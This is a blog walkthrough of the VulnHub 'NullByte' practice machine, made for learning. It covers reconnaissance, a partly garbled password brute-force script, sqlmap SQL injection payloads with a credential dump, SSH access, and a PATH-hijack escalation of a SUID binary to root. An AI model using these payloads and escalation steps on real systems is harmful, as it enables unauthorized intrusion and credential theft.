Vulnhub - NullByte

Posted on 11 Sep 2015 in security • 5 min read


After the Acid challenge I was really motivated. Therefore I give a look at another vulnhub machine I had already download since a while: NullByte.

The goal is to root the server.

Host discovery

As always, we start with the host discovery with nmap, nikto and dirbuster:


nmap -p0-65535 -A -oA nmap
# Nmap 6.47 scan initiated Thu Sep 10 10:01:29 2015 as: nmap -p0-65535 -A -oA nmap
Nmap scan report for
Host is up (0.0089s latency).
Not shown: 65532 closed ports
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          34677/tcp  status
|_  100024  1          37785/udp  status
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
34677/tcp open  status  1 (RPC #100024)
MAC Address: A0:88:B4:C7:17:2C (Intel Corporate)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is an HTTP server on the port 80 and an ssh service on port 777.


The web server display a picture with a simple message. Neither nikto nor dirbuster give us some lead. Let us run exiftool on the picture:



The comment filed is interesting:

ExifTool Version Number         : 8.60
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2015:09:10 10:07:39+02:00
File Permissions                : rw-r--r--
File Type                       : GIF
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302

What can we do with that?


If we put this at the end of our url with land on another page. Dirbuster will never have find something like that!

It is a simple web page asking us for a key. When looking at the page code we notice:

<!-- this form isn't connected to mysql, password ain't that complex --!>

If there is no SQL injection and the password is simple we need to bruteforce it. I am not a huge fan of bruteforce but I wrote a simple script that use one of my password dictionary (mostly common word).

import requests

url = ''
f=open('/usr/share/dict/cracklib-small', 'r')
data = {'key':password}
r =, data = data)
while 'invalid' in r.text:
    data = {'key':password}
    r =, data = data)


The password was "elite" and by entering it, we land on a new page.


The 420search.php page let us query for an user. If we search 'plop' we got:

Fetched data successfully

If we search nothing we got:

:::text EMP ID :1 EMP NAME : ramses EMP POSITION :

EMP ID :2 EMP NAME : isis EMP POSITION : employee

Fetched data successfully

This time it is probably a SQL injection as there is no mention against it in the source code :D. If we introduce a double quote we got:

Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%"' at line 1

It looks like an SQL injection.


Let us launch sqlmap:

[maggick@rootine sqlmap]$ python2 -u ''
 ___ ___| |_____ ___ ___  {1.0-dev-e8f87bf}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:25:23

[15:25:23] [INFO] resuming back-end DBMS 'mysql' 
[15:25:23] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: usrtosearch=-8936" OR 8832=8832#

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: usrtosearch=plop" AND (SELECT * FROM (SELECT(SLEEP(5)))bhRc)#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=plop" UNION ALL SELECT CONCAT(0x71706b7871,0x5355686d62645446514a,0x7162716271),NULL,NULL#
[15:25:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0.12
[15:25:23] [INFO] fetched data logged to text files under '/home/maggick/.sqlmap/output/'

[*] shutting down at 15:25:23

python2 -u '' --current-db got us the name of the current databse: seth.

python2 -u '' -D seth --tables got us the list of the tables in the database seth. There is only one table : users. Let us drop it:

$python2 -u '' -D seth --dump
| id | pass                                        | user   | position   |
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |

It seems that ramses pass(word) is base64 encoded. After decoding, we got: c6d6bd7ebf806f43c76acc3681703b81 which looks like a md5 hash. A simple google search give us the associated password: omega.

We have a username and a password. We have also seen a ssh port at the nmap stage.

Shell exploitation


We try to connect to the non standard ssh port as ramses:

$ ssh -p 777 -lramses
ramses@'s password:

And it works.

Privilege elevation

We got a shell as a user now we need privilege escalation to become root. After trying sudo su we look at the bash_history:

ramses@NullByte:~$ cat .bash_history
sudo -s
su eric
cd /var/www
cd backup/
sudo -s
cd /

Let see the /var/www/backup/ folder:

ramses@NullByte:/var/www/backup$ ls -l
total 12
-rwsr-xr-x 1 root root 4932 Aug  2 01:29 procwatch
-rw-r--r-- 1 root root   28 Aug  2 01:36 readme.txt

Interesting, we read the readme.txt file:

ramses@NullByte:/var/www/backup$ cat readme.txt
I have to fix this mess...

We execute procwatch:

ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1785 pts/0 00:00:00 procwatch 1786 pts/0 00:00:00 sh 1787 pts/0 00:00:00 ps

Seems like a ps, probably executing the command itself. Moreover it is own by root with the suid set (the s in the ls -l), meaning we execute this program with root privileges.

One classic vulnerability when a program executes another one is to use the PATH environment variable to execute a command of our choice instead of the command wanted by the program.

First of all we create a file with the command we want to execute and name it ps:

ramses@NullByte:/var/www/backup$ echo /bin/sh > ~/ps

We give the execution right to this file:

ramses@NullByte:/var/www/backup$ chmod +x ~/ps

We add the directory where we created this file to our PATH:

ramses@NullByte:/var/www/backup$ export PATH=~/:$PATH

We execute the original program:

ramses@NullByte:/var/www/backup$ ./procwatch

Magic happened, we got a root shell:

# whoami

Now we just need to search the flag:

# ls /root
# cat /root/proof.txt

It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at attach the walk and proof.txt
If is down you may mail at


Version: BCPG C# v1.6.1.0



This box was fun. The url were unpredictable and dirbuster doesn't spoil all the fun for us. Thank to @ly0nx for this box and vulnhub as always.